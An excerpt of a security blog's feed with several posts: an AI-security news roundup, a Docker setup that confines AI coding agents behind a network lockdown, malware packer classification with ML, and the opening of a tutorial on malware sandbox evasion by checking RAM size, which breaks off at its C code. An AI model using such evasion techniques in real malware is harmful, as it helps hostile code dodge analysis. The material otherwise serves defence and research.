&lt;p&gt;&lt;strong&gt;&lt;a href="https://unit42.paloaltonetworks.com/real-time-malicious-javascript-through-llms/"&gt;LLMs generate phishing JavaScript in real-time&lt;/a&gt;&lt;/strong&gt;: Unit 42 documented attacks where malicious webpages invoke LLM APIs to dynamically generate phishing code in-browser with varying payloads, defeating signature-based detection.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://thehackernews.com/2026/01/who-approved-this-agent-rethinking.html"&gt;AI agent access control is a governance gap&lt;/a&gt;&lt;/strong&gt;: Analysis reveals organizations deploy AI agents without proper access controls or accountability frameworks, leaving agent permissions unmonitored.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://simonwillison.net/2026/Jan/30/moltbook/"&gt;Moltbook shows prompt injection risks in agent networks&lt;/a&gt;&lt;/strong&gt;: Simon Willison examines Moltbook, a social network for AI agent interaction, identifying heightened prompt injection threats when agents communicate with other agents.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next roundup: &lt;a href="https://www.accidentalrebel.com/ai-agents-under-attack.html"&gt;AI Agents Under Attack&lt;/a&gt; — Claude finds 500+ vulns and LLMs run autonomous network breaches.&lt;/p&gt;
&lt;p&gt;One practical response to these threats: &lt;a href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html"&gt;Running AI Agents in a Box&lt;/a&gt;, where I containerize AI coding tools with network lockdown.&lt;/p&gt;</content><category term="Cybersecurity x AI"/><category term="ai"/><category term="security"/><category term="cybersecurity-x-ai"/><category term="ai-attack-surface"/><category term="ai-agent-risk"/><category term="ai-threat-intel"/><category term="ai-deployment-security"/></entry><entry><title>Running AI agents in a box because I don't trust them</title><link href="https://www.accidentalrebel.com/running-ai-agents-in-a-box.html" rel="alternate"/><published>2026-01-30T10:00:00+08:00</published><updated>2026-01-30T10:00:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2026-01-30:/running-ai-agents-in-a-box.html</id><summary type="html">&lt;p&gt;Claudecker is my Docker wrapper for Claude Code that isolates AI agents from my host with network lockdown, per-project custom images, and SSH agent forwarding.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I built a Docker wrapper for Claude Code and OpenAI Codex. The main reason is simple: I don't trust AI agents running loose on my machine.&lt;/p&gt;
&lt;p&gt;Being in Cyber Security, I've developed a healthy paranoia about software that can execute arbitrary commands. AI coding assistants are powerful, but they're also unpredictable. They can run shell commands, modify files, and access the network. I wanted all of that contained.&lt;/p&gt;
&lt;h2 id="the-setup"&gt;The setup&lt;/h2&gt;
&lt;p&gt;Claudecker is my personal tool that wraps Docker to run Claude Code CLI and Codex CLI in an isolated container. Point it at any project directory and it mounts that directory into the container. The AI can do whatever it wants inside the container, but it can't touch the rest of my system.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;/path/to/project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Each run starts with a fresh environment. Skills get reinstalled, settings reset to defaults. Only authentication tokens persist across restarts. This "clean slate" approach means I don't accumulate cruft or unexpected state changes.&lt;/p&gt;
&lt;h2 id="the-paranoid-feature-network-lockdown"&gt;The paranoid feature: network lockdown&lt;/h2&gt;
&lt;p&gt;The feature I'm most pleased with is the network lockdown toggle. It uses iptables to control the container's OUTPUT chain policy.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;lockdown
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This drops all outbound traffic except localhost and already-established connections. The AI can still work on code, but it can't phone home, download packages, or exfiltrate anything. I toggle this on when working on sensitive projects.&lt;/p&gt;
&lt;p&gt;The implementation is straightforward. Just flipping between DROP and ACCEPT policies. The container needs NET_ADMIN capability for this to work, which is a trade-off I'm comfortable with since it's scoped to network operations.&lt;/p&gt;
&lt;h2 id="trade-offs-from-containerization"&gt;Trade-offs from containerization&lt;/h2&gt;
&lt;p&gt;Isolation comes with friction. I had to solve several problems that wouldn't exist if I just ran the CLI directly on my host.&lt;/p&gt;
&lt;h3 id="browser-authentication-needs-x11"&gt;Browser authentication needs X11&lt;/h3&gt;
&lt;p&gt;Claude and Codex authentication use browser-based OAuth flows. Inside a container, there's no browser. I ended up mounting the X11 socket and forwarding the DISPLAY variable:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;volumes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;/tmp/.X11-unix:/tmp/.X11-unix:rw&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On Linux this works if you have DISPLAY set. On macOS you need XQuartz. For headless environments, there's a fallback where I manually copy the auth.json file from a machine where you've already logged in.&lt;/p&gt;
&lt;p&gt;Thankfully, Claude Code and Codex CLI makes it easier by providing you a URL to visit, which will give you a code to enter back. This means I rarely need to use browser authentication, but at least the option is there.&lt;/p&gt;
&lt;h3 id="ssh-agent-forwarding-is-annoying"&gt;SSH agent forwarding is annoying&lt;/h3&gt;
&lt;p&gt;Getting SSH keys into the container without copying them required some workarounds. Docker's socket permissions don't always cooperate, so I ended up using socat to proxy the SSH agent socket:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;socat&lt;span class="w"&gt; &lt;/span&gt;UNIX-LISTEN:/tmp/ssh-agent-forwarded,fork,mode&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;,user&lt;span class="o"&gt;=&lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;UNIX-CONNECT:/ssh-agent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The container tries direct socket access first, falls back to socat if that fails. Limited sudo permissions ensure the node user can only run specific commands.&lt;/p&gt;
&lt;h3 id="port-forwarding-for-web-apps"&gt;Port forwarding for web apps&lt;/h3&gt;
&lt;p&gt;If you're developing a web app and want to access it from your host browser, you need to expose ports explicitly:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/path/to/project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This maps the container's port to the host. Without this flag, localhost:3000 inside the container isn't reachable from outside.&lt;/p&gt;
&lt;h2 id="project-specific-dependencies"&gt;Project-specific dependencies&lt;/h2&gt;
&lt;p&gt;Different projects need different tools. A C project needs gcc and cmake. A Python ML project needs different libraries. I didn't want to bloat the base image with everything.&lt;/p&gt;
&lt;p&gt;The solution: a &lt;code&gt;.claudecker&lt;/code&gt; file in the project directory.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# .claudecker
build-essential
cmake
gcc
python3-dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On first run, the script hashes the file contents, generates a Dockerfile, and builds a custom image tagged with that hash. Subsequent runs use the cached image. Projects with identical &lt;code&gt;.claudecker&lt;/code&gt; files share the same image.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;claudecker-custom:a1b2c3d4e5f6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This content-based approach means I'm not rebuilding images unnecessarily, and cleanup is straightforward with &lt;code&gt;clean-custom&lt;/code&gt; and &lt;code&gt;clean-all-custom&lt;/code&gt; commands.&lt;/p&gt;
&lt;h2 id="skills-system"&gt;Skills system&lt;/h2&gt;
&lt;p&gt;A new and recent addition: Claudecker now supports Claude Skills, which are custom prompts that extend its capabilities. I implemented two types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub skills get cloned on container startup. The &lt;a href="https://github.com/blader/humanizer"&gt;Humanizer skill&lt;/a&gt;, for example, comes from a public repo and helps remove AI-isms from text.&lt;/li&gt;
&lt;li&gt;Local skills are baked into the Docker image. I keep these in a &lt;code&gt;local-skills/&lt;/code&gt; directory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The build process copies these into the image, and the entrypoint installs them into Claude's skills directory. This way I can version-control project-specific skills alongside the code.&lt;/p&gt;
&lt;h2 id="multi-ai-orchestration-with-pal-mcp"&gt;Multi-AI orchestration with PAL MCP&lt;/h2&gt;
&lt;p&gt;I also integrated PAL MCP Server, which lets Claude Code collaborate with other AI models (Gemini, GPT, Grok, local Ollama models). I export my API keys before running:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;OPENROUTER_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;your-key&amp;quot;&lt;/span&gt;
./claudecker.sh&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;/path/to/project
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Inside Claude Code, I can ask it to use other models for second opinions, code review, or extended reasoning. The MCP server handles the routing.&lt;/p&gt;
&lt;p&gt;This obviously requires network access, so it doesn't work in lockdown mode. Trade-offs.&lt;/p&gt;
&lt;h2 id="wheres-the-code"&gt;Where's the code?&lt;/h2&gt;
&lt;p&gt;I planned to release this publicly but decided against it for now. There are rough edges:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The docker-compose volumes are duplicated in the docker run command for custom images. If you change one, you have to change the other. I left a warning comment but it's still error-prone.&lt;/li&gt;
&lt;li&gt;The firewall whitelist script exists but isn't fully tested across different network configurations.&lt;/li&gt;
&lt;li&gt;Some features assume specific host setups (X11, SSH agent running, etc.) and fail ungracefully when those assumptions don't hold.&lt;/li&gt;
&lt;li&gt;Error handling is minimal in places.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I use this daily for my own work, but it's not polished enough for others to pick up without reading through the scripts first. Maybe later.&lt;/p&gt;
&lt;h2 id="current-limitations"&gt;Current limitations&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Network lockdown state doesn't persist across container restarts. Restart the container and you're back to full network access.&lt;/li&gt;
&lt;li&gt;Custom image builds happen automatically but failures silently fall back to the base image. You might not notice a package didn't install.&lt;/li&gt;
&lt;li&gt;X11 forwarding is a security surface I'm not entirely comfortable with, but I haven't found a better solution for browser auth.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="what-i-actually-use-it-for"&gt;What I actually use it for&lt;/h2&gt;
&lt;p&gt;Most days I run Claude Code in lockdown mode for general coding tasks. When I need it to fetch documentation or install packages, I toggle lockdown off, let it do its thing, then toggle it back on.&lt;/p&gt;
&lt;p&gt;For security research projects, the isolation gives me peace of mind. The AI can analyze suspicious code, suggest modifications, even run tests, all without access to my actual filesystem or network.&lt;/p&gt;
&lt;p&gt;It's not perfect containment. Docker isn't a security boundary the way a VM is. But it's enough friction that an AI agent can't accidentally (or intentionally) do something I'd regret.&lt;/p&gt;
&lt;p&gt;For now, this setup works for my needs. The paranoia tax is a few extra seconds on startup and occasional friction with browser auth. Worth it.&lt;/p&gt;
&lt;p&gt;The threat landscape that motivated this setup is covered in &lt;a href="https://www.accidentalrebel.com/developer-tools-are-the-new-attack-surface.html"&gt;Developer Tools Are the New Attack Surface&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For another Claude Code workflow improvement, see the &lt;a href="https://www.accidentalrebel.com/building-a-session-retrospective-skill-for-claude-code.html"&gt;session retrospective skill&lt;/a&gt; I built to capture lessons from each coding session.&lt;/p&gt;</content><category term="Tools"/><category term="docker"/><category term="ai"/><category term="claude-code"/><category term="security"/><category term="tools"/><category term="ai-deployment-security"/></entry><entry><title>Classifying More With Less: New VGL4NT Update</title><link href="https://www.accidentalrebel.com/classifying-more-with-less-new-vgl4nt-update.html" rel="alternate"/><published>2023-05-20T06:46:00+08:00</published><updated>2023-05-20T06:46:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2023-05-20:/classifying-more-with-less-new-vgl4nt-update.html</id><summary type="html">&lt;p&gt;How I doubled VGL4NT's malware packer classification capacity without extra GPU by using task decomposition to run multiple specialized models in parallel.&lt;/p&gt;</summary><content type="html">&lt;h2 id="tldr"&gt;TLDR:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Packed malware machine learning classifier can only previously identify 10 packers&lt;/li&gt;
&lt;li&gt;Solution was a customized version of model ensembling, which is to train multiple models and resolve their results&lt;/li&gt;
&lt;li&gt;It works with a slight caveat of more extended training and processing, which I could happily live with&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I recently presented &lt;a href="https://www.accidentalrebel.com/classifying-malware-packers-using-machine-learning.html"&gt;VGL4NT&lt;/a&gt;, my tool that uses machine learning to classify packed malware, at the Blackhat Middle East and Africa meetup. During my talk, I candidly shared one of the tool's limitations which is it can only identify 10 packers because of my hardware constraints. If I want it to be able to identify more, I need to get more GPU (which will be costly) or keep my money and come up with a clever solution. Well, this post is about the latter.&lt;/p&gt;
&lt;h2 id="a-simple-solution"&gt;A Simple Solution&lt;/h2&gt;
&lt;p&gt;The solution I came up with isn't exactly original. It's based on Task Decomposition, which involves training separate models for different categories and combining their predictions. This way, I could double the classification capacity without requiring additional hardware resources.&lt;/p&gt;
&lt;p&gt;This was implemented by creating multiple machine learning models, each specializing in recognizing a subset of packers. The real challenge, however, lies in combining the predictions from these models to form a unified output.&lt;/p&gt;
&lt;p&gt;&lt;img alt="classifying-more-with-less-new-vgl4nt-update-01" src="https://www.accidentalrebel.com/images/classifying-more-with-less-new-vgl4nt-update-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Here's how the process works:&lt;/p&gt;
&lt;p&gt;The packed malware file is fed into Model 1, which outputs probabilities for Packer 1, Packer 2, and Others. For example, it might produce:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Packer 1: 10%&lt;/li&gt;
&lt;li&gt;Packer 2: 20%&lt;/li&gt;
&lt;li&gt;Others: 70%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The same file is then fed into Model 2, which outputs probabilities for Packer 3, Packer 4, and Others. For instance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Packer 3: 60%&lt;/li&gt;
&lt;li&gt;Packer 4: 30%&lt;/li&gt;
&lt;li&gt;Others: 10%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I then take the 'Others' category with the lowest probability. For our example, the final 'Others' probability would be 10% from Model 2.&lt;/p&gt;
&lt;p&gt;The final probabilities are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Packer 1: 10%&lt;/li&gt;
&lt;li&gt;Packer 2: 20%&lt;/li&gt;
&lt;li&gt;Packer 3: 60%&lt;/li&gt;
&lt;li&gt;Packer 4: 30%&lt;/li&gt;
&lt;li&gt;Others: 10%&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Packer 3 has the highest probability in this example, and the file is classified as such.&lt;/p&gt;
&lt;p&gt;This simple combination approach ensures I maintain a suitable probability distribution while leveraging each model's strengths. The beauty of this method is not only its efficiency but also its scalability. I can introduce more models, each specializing in different packers, to further increase the classification capabilities.&lt;/p&gt;
&lt;p&gt;Now you might wonder why I'd even write about this if the solution is this simple. The funny thing is I've explored multiple approaches to unifying the output. Before this, I fully implemented a complicated approach, only to later realize while writing this blog post that a much simpler approach works well enough for the tool's purpose.&lt;/p&gt;
&lt;h2 id="downsides"&gt;Downsides&lt;/h2&gt;
&lt;p&gt;I am conscious that this may or may not be the most effective method to tackle this problem. But what is essential is that the current computation is simple and can maintain the appropriate prediction distribution based on the relative percentages. In essence, the category with the highest confidence score will always come out on top in the final output, primarily what users of my tool are interested in.&lt;/p&gt;
&lt;p&gt;Aside from this, I am concerned that increasing the number of categories also increases training and prediction time. I'm not too worried about the increase in training time because this happens behind the scenes and remains unseen to users of my tool. I'm slightly concerned about the longer prediction time, as all models need to process each submission to the tool. And as I plan to incorporate more packer tool categories, the prediction time will definitely rise.&lt;/p&gt;
&lt;p&gt;These downsides are not too much of a problem, however. They can easily be fixed if I find they are not meeting the tool's goals. For now, these will do.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I am genuinely happy with my progress with the VGL4NT Malware Packer Classifier. There are other topics I want to tackle, but I'll save those for future blog posts.&lt;/p&gt;
&lt;p&gt;In the meantime, I invite you to check out the tool and see the changes yourself. Visit the &lt;a href="https://packers.vgl4nt.com/"&gt;VGL4NT website&lt;/a&gt; to get started. And for a more detailed walkthrough, you can also watch this &lt;a href="https://www.youtube.com/watch?v=emIyy4Njw_g"&gt;YouTube video&lt;/a&gt; I created&lt;/p&gt;</content><category term="misc"/><category term="packers malware machine_learning ml update vgl4nt"/></entry><entry><title>Classifying Malware Packers Using Machine Learning</title><link href="https://www.accidentalrebel.com/classifying-malware-packers-using-machine-learning.html" rel="alternate"/><published>2023-04-22T08:44:00+08:00</published><updated>2023-04-22T08:44:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2023-04-22:/classifying-malware-packers-using-machine-learning.html</id><summary type="html">&lt;p&gt;How I built VGL4NT, a machine learning classifier that identifies malware packers like UPX, Themida, and MPRESS with 94% accuracy using image-based ML models.&lt;/p&gt;</summary><content type="html">&lt;p&gt;The recent rise in popularity of AI reignited my interest in machine learning. It inspired me to dive deeper into understanding how it can be applied to malware analysis and, more importantly, how to better detect malware packers, as almost every malware nowadays uses them.&lt;/p&gt;
&lt;p&gt;My research and experiments eventually led me to make a web app, which I call the VGL4NT Malware Packer Classifier (&lt;a href="https://packers.vgl4nt.com/)."&gt;https://packers.vgl4nt.com/).&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img alt="classifying-malware-packers-using-machine-learning-01" src="https://www.accidentalrebel.com/images/classifying-malware-packers-using-machine-learning-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;(For those curious, V.G.L.4.N.T. is a play on "Vigilant" and stands for "Visual Guided Learning 4 Neutralizing Threats")&lt;/p&gt;
&lt;h1 id="current-state-of-packer-detection"&gt;Current State of Packer Detection&lt;/h1&gt;
&lt;p&gt;Traditional packer detection approaches like DiE (Detect it Easy) and Yara rules depend on known signatures and patterns to identify packers. These tools scrutinize a file for specific indicators, like unique sequences of bytes or strings. While effective in many cases, they have drawbacks, like when a packer is modified or if the sequence of bytes or strings are altered.&lt;/p&gt;
&lt;p&gt;By using machine learning, the VGL4NT Malware Packer Classifier can be able to take into account minute differences and still be able to detect the packer used.&lt;/p&gt;
&lt;h1 id="how-it-works"&gt;How it works&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The uploaded executable file's bytes are converted into grayscale values, creating an image..&lt;/li&gt;
&lt;li&gt;The grayscale image is then fed into an image machine-learning model I trained from scratch.&lt;/li&gt;
&lt;li&gt;It returns a list of percentages on how similar it is to other Packers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="classifying-malware-packers-using-machine-learning-01" src="https://www.accidentalrebel.com/images/classifying-malware-packers-using-machine-learning-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;The approach above is nothing new and is based on &lt;a href="https://ieeexplore.ieee.org/abstract/document/8328749"&gt;this academic paper&lt;/a&gt;. The difference is that the paper has a tool that classifies malware families, while mine classifies the packers used.&lt;/p&gt;
&lt;p&gt;Most of the magic happens in the model itself. I've trained it on several packed malware samples and measured its accuracy using multiple iterations. The latest version of this model has a 94% accuracy, which is calculated by comparing the model's predictions to the actual packer labels in a dataset that the model hasn't seen before (the test dataset).&lt;/p&gt;
&lt;h1 id="current-limitations"&gt;Current limitations&lt;/h1&gt;
&lt;p&gt;The app works for the most part, but it has its limitations. For example, users can only upload executable files (EXE, Bin, ELF, DLLs, etc) with a maximum size limit of 10MB. &lt;/p&gt;
&lt;p&gt;Furthermore, due to costs of GPU resources during training, only the following packer tools can be classified:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;aspack&lt;/li&gt;
&lt;li&gt;alienyze&lt;/li&gt;
&lt;li&gt;amber&lt;/li&gt;
&lt;li&gt;mew&lt;/li&gt;
&lt;li&gt;mpress&lt;/li&gt;
&lt;li&gt;nspack&lt;/li&gt;
&lt;li&gt;pecompact&lt;/li&gt;
&lt;li&gt;petite&lt;/li&gt;
&lt;li&gt;themida&lt;/li&gt;
&lt;li&gt;upx&lt;/li&gt;
&lt;li&gt;others (Everything else)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The list of packer tools above was chosen based on available real-world malware samples that I have encountered or studied.&lt;/p&gt;
&lt;h1 id="future-plans-and-updates"&gt;Future Plans and Updates&lt;/h1&gt;
&lt;p&gt;If this project gains enough interest, then I plan to add more improvements, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Increase GPU resources to increase the model's capacity to classify more categories&lt;/li&gt;
&lt;li&gt;Improvements in the training method by handpicking the most important parts of the executable and then feeding that to the model&lt;/li&gt;
&lt;li&gt;Offer an API for integration with existing tools and processes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, this project would improve a lot with the community's help. I encourage users to provide feedback, report issues, or request new features. Feel free to throw your thoughts to me through my email, karlo@accidentalrebel.com, or Twitter at @accidentalrebel.&lt;/p&gt;
&lt;p&gt;For the follow-up where I doubled VGL4NT's classification capacity without extra GPU hardware, see &lt;a href="https://www.accidentalrebel.com/classifying-more-with-less-new-vgl4nt-update.html"&gt;Classifying More With Less: New VGL4NT Update&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For another automated malware analysis tool, see &lt;a href="https://www.accidentalrebel.com/adding-automation-to-blue-jupyter-malware-notebook.html"&gt;Adding Automation to the Blue-Jupyter Malware Notebook&lt;/a&gt;.&lt;/p&gt;</content><category term="misc"/><category term="artificial_intelligence"/><category term="machine_learning"/></entry><entry><title>Adding Automation to Blue-Jupyter Malware Notebook</title><link href="https://www.accidentalrebel.com/adding-automation-to-blue-jupyter-malware-notebook.html" rel="alternate"/><published>2023-01-23T21:02:00+08:00</published><updated>2023-01-23T21:02:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2023-01-23:/adding-automation-to-blue-jupyter-malware-notebook.html</id><summary type="html">&lt;p&gt;Automating malware sample discovery with a Jupyter notebook that downloads from Malware Bazaar and runs Capa capability analysis on each sample automatically.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I came across the &lt;a href="https://github.com/mttaggart/blue-jupyter"&gt;Blue-Jupyter project on Github&lt;/a&gt; while researching Jupyter notebooks. This &lt;a href="https://www.youtube.com/watch?v=-EX5Ybbt8uE"&gt;short demo video&lt;/a&gt; got me excited, so I cloned the project and added some improvements that automate many things when I am looking for malware to investigate.&lt;/p&gt;
&lt;h1 id="what-are-jupyter-notebooks"&gt;What are Jupyter Notebooks?&lt;/h1&gt;
&lt;p&gt;For readers who may be unfamiliar, Jupyter Notebooks are a web-based tool that allows users to create and share documents that contain live code, equations, visualizations, and narrative text. They are a popular tool among data scientists and researchers but have also adapted for use in other fields, such as cybersecurity.&lt;/p&gt;
&lt;h1 id="my-additions-to-the-blue-jupyter"&gt;My Additions to the Blue-Jupyter&lt;/h1&gt;
&lt;p&gt;Many of the changes I've made are focused on automating the process of quickly looking for interesting new samples to investigate.&lt;/p&gt;
&lt;p&gt;One addition to the notebook is the automated downloading of samples from &lt;a href="https://bazaar.abuse.ch/"&gt;Malware Bazaar&lt;/a&gt;. This can download a maximum of 100 samples continuously. Additional information is listed to highlight some interesting points about the sample, like the malware signature. It also can skip samples that have already been downloaded to save bandwidth.&lt;/p&gt;
&lt;p&gt;&lt;img alt="adding-automation-to-blue-jupyter-malware-notebook-01" src="https://www.accidentalrebel.com/images/adding-automation-to-blue-jupyter-malware-notebook-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;The second significant addition is the automated generation of &lt;a href="https://github.com/mandiant/capa"&gt;Capa&lt;/a&gt; results for each downloaded sample. This makes it easy to see which malware has a particular capability so I can quickly see which ones are interesting enough to investigate further.&lt;/p&gt;
&lt;p&gt;&lt;img alt="adding-automation-to-blue-jupyter-malware-notebook-02" src="https://www.accidentalrebel.com/images/adding-automation-to-blue-jupyter-malware-notebook-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;I also added minor improvements like error handling, additional logging for troubleshooting, and some cleanup code just in case I want to start fresh.&lt;/p&gt;
&lt;h1 id="check-it-out"&gt;Check it out&lt;/h1&gt;
&lt;p&gt;If you are interested in checking it out, you can view my fork of the repository &lt;a href="https://github.com/accidentalrebel/blue-jupyter/blob/main/malware-analysis/Malware-Analysis.ipynb"&gt;here&lt;/a&gt;. I did not request for a pull request on the original branch because I've changed a lot of things that the original owner might not prefer to have. Of course, I encourage everyone to fork what I made and make it their own. That's the beauty of Jupyter notebooks, anyway.&lt;/p&gt;
&lt;p&gt;Capa's output maps to the &lt;a href="https://www.accidentalrebel.com/talking-about-mitres-malware-behavior-catalog.html"&gt;Malware Behavior Catalog (MBC)&lt;/a&gt;, a MITRE framework that standardizes malware behavior descriptions.&lt;/p&gt;
&lt;p&gt;For another automated approach to malware analysis, see how I used machine learning to &lt;a href="https://www.accidentalrebel.com/classifying-malware-packers-using-machine-learning.html"&gt;classify malware packers&lt;/a&gt;.&lt;/p&gt;</content><category term="Malware Analysis"/><category term="malware"/><category term="re"/><category term="jupyter"/></entry><entry><title>Malware sandbox evasion in x64 assembly by checking ram size - Part 2</title><link href="https://www.accidentalrebel.com/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2.html" rel="alternate"/><published>2022-08-15T11:29:00+08:00</published><updated>2022-08-15T11:29:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2022-08-15:/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-2.html</id><summary type="html">&lt;p&gt;Implementing sandbox evasion via GlobalMemoryStatusEx in x64 assembly, including how to manually calculate C struct sizes and pass pointers on the stack.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In the &lt;a href="https://www.accidentalrebel.com/malware-sandbox-evasion-in-x64-assembly-by-checking-ram-size-part-1.html"&gt;previous post&lt;/a&gt;, I explored a sandbox evasion technique that uses &lt;code&gt;GetPhysicallyInstalledSystemMemory&lt;/code&gt; to check the size of the RAM of the machine. The idea behind this technique (MBC Technique ID: &lt;a href="https://github.com/MBCProject/mbc-markdown/blob/master/anti-behavioral-analysis/virtual-machine-detection.md"&gt;B0009.014&lt;/a&gt;) is that any value that is lower than 4GB &lt;em&gt;may&lt;/em&gt; probably be a sandbox (to reduce costs). This information can then be used with other sandbox evasion techniques to confirm.&lt;/p&gt;
&lt;p&gt;For part 2 of this series, I'll be talking about an alternative Windows API function called &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt;. This function is as straightforward as the first one, but requires the passing of a pointer to a C struct. This is significant because I'll be converting a working C code to x64 assembly so we can fully understand how it works under the hood.&lt;/p&gt;
&lt;h2 id="using-globalmemorystatusex"&gt;Using GlobalMemoryStatusEx&lt;/h2&gt;
&lt;p&gt;Here is an example of an implementation of &lt;code&gt;GlobalMemoryStatusEx&lt;/code&gt; in C that we'll later be converting to x64 assembly.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;windows.h&amp;gt;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MEMORYSTATUSEX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;statex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
